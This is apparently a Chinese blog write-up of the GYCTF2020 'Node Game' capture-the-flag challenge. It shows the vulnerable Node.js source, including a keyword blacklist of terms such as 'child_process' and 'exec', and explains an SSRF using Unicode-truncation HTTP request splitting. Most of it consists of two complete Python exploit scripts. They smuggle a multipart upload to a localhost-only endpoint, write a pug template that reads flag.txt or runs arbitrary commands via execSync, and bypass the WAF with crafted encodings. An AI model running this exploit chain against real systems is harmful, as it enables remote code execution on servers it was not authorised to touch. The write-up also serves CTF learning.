[GYCTF2020]Node Game
最近把JavaScript入了一下门,就顺便做了个js题目
源码
app.get('/', function(req, res) {
const action = req.query.action ? req.query.action : "index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
let file = path.join(__dirname + '/template/' + action + '.pug');
const html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
const ip = req.connection.remoteAddress;
let obj = {
msg: '',
};
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
const file_path = '/uploads/' + req.files[0].mimetype + "/";
const file_name = req.files[0].originalname;
const dir_file = __dirname + file_path + file_name;
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
const q = req.query.q;
const resp = "";
if (q) {
const url = 'http://localhost:8081/source?' + q;
console.log(url)
const trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
const evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"];
const arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
就简单贴几个路由和过滤函数
根目录是解析一个template目录下的pug文件并返回,查了一下pug就是一个渲染模板一类的东西,可以在里面写一些代码进行渲染,命令执行估计是靠这个
file_upload路由需要remote_address是localhost,必然需要找一个ssrf点,上传一个文件到对应的mimetype文件夹下,mimetype即为文件上传部分的content-type(注意不是请求头中的content-type)
source路由展示源码,写死了无法控制
core路由是一个ssrf点,但是路由写死了source,后面的参数q可控,但需要通过blacklist的检测
说实话到这一步感觉整个思路很清晰,利用ssrf打file_upload
传一个pug文件到template文件夹,然后在根路由下包含一下执行命令即可,但是最大的问题就在于,这个写死了的路径怎么打一个ssrf
题解
开始看wp,nodejs在版本号小于8.x的时候存在unicode字符损坏导致的漏洞,而这个题目的版本刚好对的上(但是buu上的这个题并没有说版本),简单来说就是Unicode在解析的时候由于解码的类型问题导致部分被截断,字符出现变形,而原字符并非会被转义的危险字符造成的安全漏洞,具体就是先知社区这篇文章
https://xz.aliyun.com/t/2894#toc-2
所以构造一下payload,通过换行符使得服务器在core中发出的一次http请求变成两次,并且第二次请求内容我们完全可控
可以先去upload目录上传文件抓一个包作为文件上传的模板,构造一下,赵总和出题人有两套不同的脚本构造字符,但是没有一个人说明这些字符是怎么构造出来的,并且两个脚本不互通,分别能用,但是尝试用赵总的脚本放一个命令执行的payload时直接把buu的环境打到了404。。。被迫重新开环境
关于waf的绕过,想过直接二次编码绕过,因为这种ssrf发到服务器一次解码,服务器再发送到服务器二次解码,而检测只发生在第一次解码时,二次编码理论上超级绕过,但是这里编码需要把整个payload编码一遍,导致的结果就是第二个http包的部分内容也来了个二次编码,比如filename那里,在第二次发包的时候属于header内容,二次编码但解码只有一次(解码只对post和get提交的数据进行),会导致文件名有问题,但是那里如果只编码一次就会造成blacklist里面的引号限制过不去,所以说到底还是需要用截断字符这种编码方式去构造一个完全无关的字符而截断后却完全可利用的方式去攻击
赵总脚本
import urllib.parse
import requests
url = "http://66adb99f-4995-46d2-9c4a-c3e49d95ed61.node3.buuoj.cn/"
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 292
----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="z33.pug"
Content-Type: /../template
doctype html
html
head
style
include ../../../../../../../flag.txt
----------------------------919695033422425209299810--
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get(url + "core?q=" + urllib.parse.quote(payload))
print(r.text)
这个是在全部在前面加0xff,说实话我没想通为什么上传文件的内容改成命令执行之后打上去打到了环境404,这个方法的payload完全和blacklist无关,不过加了0xff之后的内容本来就没几个正常字符了,肯定能够检测
赵总在这个payload中提到keep-alive在第一个请求中一定要设置,但是事实上去掉了好像也没什么事
出题人脚本
import requests
import sys
payloadRaw = """x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template
- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--
"""
def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")
payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")
# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
return payload
def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)
requests.get(url+"/?action=5am3_get_flag").text
if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print run(targetUrl,cmd)
出题人这个更加看不懂,绕过waf的那段的编码完全看不出来是怎么得出的,但是可以执行命令,靠谱一点
pug的解析方法
看了wp用的是-后接代码,去看了眼文档,其实还有很多其他解析方式,贴个文档链接
https://pugjs.org/zh-cn/language/code.html
赵总使用了文档中的include方法直接包含了flag文件,不过不能执行命令的话你又怎么知道flag在哪呢
wp
放一下赵总和出题人的wp
https://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-game
https://www.zhaoj.in/read-6462.html